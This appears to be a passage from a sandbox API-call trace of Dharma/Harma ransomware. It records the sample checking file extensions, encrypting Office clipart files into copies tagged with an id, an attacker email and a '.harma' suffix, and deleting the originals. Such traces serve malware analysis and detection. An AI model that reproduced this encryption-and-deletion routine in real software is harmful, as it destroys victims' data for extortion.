lstrlenW (lpString=".xlsx") returned 5 [0066.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.149] lstrlenW (lpString=".ppt") returned 4 [0066.149] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.149] lstrlenW (lpString=".zip") returned 4 [0066.149] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.149] lstrlenW (lpString=".rar") returned 4 [0066.149] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.149] lstrlenW (lpString=".bz2") returned 4 [0066.149] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.149] lstrlenW (lpString=".7z") returned 3 [0066.149] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.149] lstrlenW (lpString=".dbf") returned 4 [0066.149] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.149] lstrlenW (lpString=".1cd") returned 4 [0066.149] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.149] lstrlenW (lpString=".jpg") returned 4 [0066.149] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.149] lstrlenW (lpString=".doc") returned 4 [0066.149] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.149] lstrlenW (lpString=".docx") returned 5 [0066.149] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.149] lstrlenW (lpString=".pdf") returned 4 [0066.149] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.149] lstrlenW (lpString=".xls") returned 4 [0066.150] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.150] lstrlenW (lpString=".xlsx") returned 5 [0066.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.150] lstrlenW (lpString=".ppt") returned 4 [0066.150] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.150] lstrlenW (lpString=".zip") returned 4 [0066.150] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.150] lstrlenW (lpString=".rar") returned 4 [0066.150] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.150] lstrlenW (lpString=".bz2") returned 4 [0066.150] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.150] lstrlenW (lpString=".7z") returned 3 [0066.150] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.150] lstrlenW (lpString=".dbf") returned 4 [0066.150] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.150] lstrlenW (lpString=".1cd") returned 4 [0066.150] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0066.150] lstrlenW (lpString=".jpg") returned 4 [0066.150] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.150] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.150] lstrlenW (lpString="AG00120_.GIF") returned 12 [0066.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.151] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3484) returned 1 [0066.151] CloseHandle (hObject=0x1e4) returned 1 [0066.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0066.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.151] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.151] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.152] GetLastError () returned 0x0 [0066.152] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0066.153] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0066.154] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.154] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.154] SetEndOfFile (hFile=0x218) returned 1 [0066.155] CloseHandle (hObject=0x218) returned 1 [0066.155] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.155] SetEndOfFile (hFile=0x1e4) returned 1 [0066.156] CloseHandle (hObject=0x1e4) returned 1 [0066.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0066.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.156] lstrlenW (lpString=".doc") returned 4 [0066.156] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.157] lstrlenW (lpString=".docx") returned 5 [0066.157] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.157] lstrlenW (lpString=".pdf") returned 4 [0066.157] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.157] lstrlenW (lpString=".xls") returned 4 [0066.157] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.157] lstrlenW (lpString=".xlsx") returned 5 [0066.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.157] lstrlenW (lpString=".ppt") returned 4 [0066.157] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.157] lstrlenW (lpString=".zip") returned 4 [0066.157] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.157] lstrlenW (lpString=".rar") returned 4 [0066.157] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.157] lstrlenW (lpString=".bz2") returned 4 [0066.157] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.157] lstrlenW (lpString=".7z") returned 3 [0066.157] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.157] lstrlenW (lpString=".dbf") returned 4 [0066.157] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.157] lstrlenW (lpString=".1cd") returned 4 [0066.157] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.157] lstrlenW (lpString=".jpg") returned 4 [0066.157] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.157] lstrlenW (lpString=".doc") returned 4 [0066.157] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.157] lstrlenW (lpString=".docx") returned 5 [0066.158] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.158] lstrlenW (lpString=".pdf") returned 4 [0066.158] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.158] lstrlenW (lpString=".xls") returned 4 [0066.158] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.158] lstrlenW (lpString=".xlsx") returned 5 [0066.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.158] lstrlenW (lpString=".ppt") returned 4 [0066.158] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.158] lstrlenW (lpString=".zip") returned 4 [0066.158] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.158] lstrlenW (lpString=".rar") returned 4 [0066.158] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.158] lstrlenW (lpString=".bz2") returned 4 [0066.158] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.158] lstrlenW (lpString=".7z") returned 3 [0066.158] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.158] lstrlenW (lpString=".dbf") returned 4 [0066.158] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.158] lstrlenW (lpString=".1cd") returned 4 [0066.158] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0066.158] lstrlenW (lpString=".jpg") returned 4 [0066.158] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.158] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.159] lstrlenW (lpString="AG00126_.GIF") returned 12 [0066.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.159] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3140) returned 1 [0066.159] CloseHandle (hObject=0x1e4) returned 1 [0066.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0066.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.159] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.159] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.160] GetLastError () returned 0x0 [0066.160] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xc44, lpOverlapped=0x0) returned 1 [0066.161] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0066.162] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.162] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.162] SetEndOfFile (hFile=0x218) returned 1 [0066.163] CloseHandle (hObject=0x218) returned 1 [0066.163] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.163] SetEndOfFile (hFile=0x1e4) returned 1 [0066.164] CloseHandle (hObject=0x1e4) returned 1 [0066.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0066.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.164] lstrlenW (lpString=".doc") returned 4 [0066.164] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.164] lstrlenW (lpString=".docx") returned 5 [0066.164] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.164] lstrlenW (lpString=".pdf") returned 4 [0066.164] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.164] lstrlenW (lpString=".xls") returned 4 [0066.164] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.164] lstrlenW (lpString=".xlsx") returned 5 [0066.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.164] lstrlenW (lpString=".ppt") returned 4 [0066.164] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.164] lstrlenW (lpString=".zip") returned 4 [0066.164] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.164] lstrlenW (lpString=".rar") returned 4 [0066.165] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.165] lstrlenW (lpString=".bz2") returned 4 [0066.165] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.165] lstrlenW (lpString=".7z") returned 3 [0066.165] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.165] lstrlenW (lpString=".dbf") returned 4 [0066.165] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.165] lstrlenW (lpString=".1cd") returned 4 [0066.165] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.165] lstrlenW (lpString=".jpg") returned 4 [0066.165] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.165] lstrlenW (lpString=".doc") returned 4 [0066.165] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.165] lstrlenW (lpString=".docx") returned 5 [0066.165] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.165] lstrlenW (lpString=".pdf") returned 4 [0066.165] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.165] lstrlenW (lpString=".xls") returned 4 [0066.165] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.165] lstrlenW (lpString=".xlsx") returned 5 [0066.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.165] lstrlenW (lpString=".ppt") returned 4 [0066.165] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.165] lstrlenW (lpString=".zip") returned 4 [0066.165] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.165] lstrlenW (lpString=".rar") returned 4 [0066.166] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.166] lstrlenW (lpString=".bz2") returned 4 [0066.166] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.166] lstrlenW (lpString=".7z") returned 3 [0066.166] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.166] lstrlenW (lpString=".dbf") returned 4 [0066.166] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.166] lstrlenW (lpString=".1cd") returned 4 [0066.166] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0066.166] lstrlenW (lpString=".jpg") returned 4 [0066.166] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.166] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.166] lstrlenW (lpString="AG00129_.GIF") returned 12 [0066.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.166] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=12482) returned 1 [0066.166] CloseHandle (hObject=0x1e4) returned 1 [0066.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0066.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.167] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.167] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.167] GetLastError () returned 0x0 [0066.167] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0066.371] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0066.372] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.372] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.372] SetEndOfFile (hFile=0x218) returned 1 [0066.372] CloseHandle (hObject=0x218) returned 1 [0066.373] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.373] SetEndOfFile (hFile=0x1e4) returned 1 [0066.374] CloseHandle (hObject=0x1e4) returned 1 [0066.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0066.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.374] lstrlenW (lpString=".doc") returned 4 [0066.374] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.374] lstrlenW (lpString=".docx") returned 5 [0066.374] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.374] lstrlenW (lpString=".pdf") returned 4 [0066.375] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.375] lstrlenW (lpString=".xls") returned 4 [0066.375] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.375] lstrlenW (lpString=".xlsx") returned 5 [0066.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.375] lstrlenW (lpString=".ppt") returned 4 [0066.375] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.375] lstrlenW (lpString=".zip") returned 4 [0066.375] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.375] lstrlenW (lpString=".rar") returned 4 [0066.375] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.375] lstrlenW (lpString=".bz2") returned 4 [0066.375] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.375] 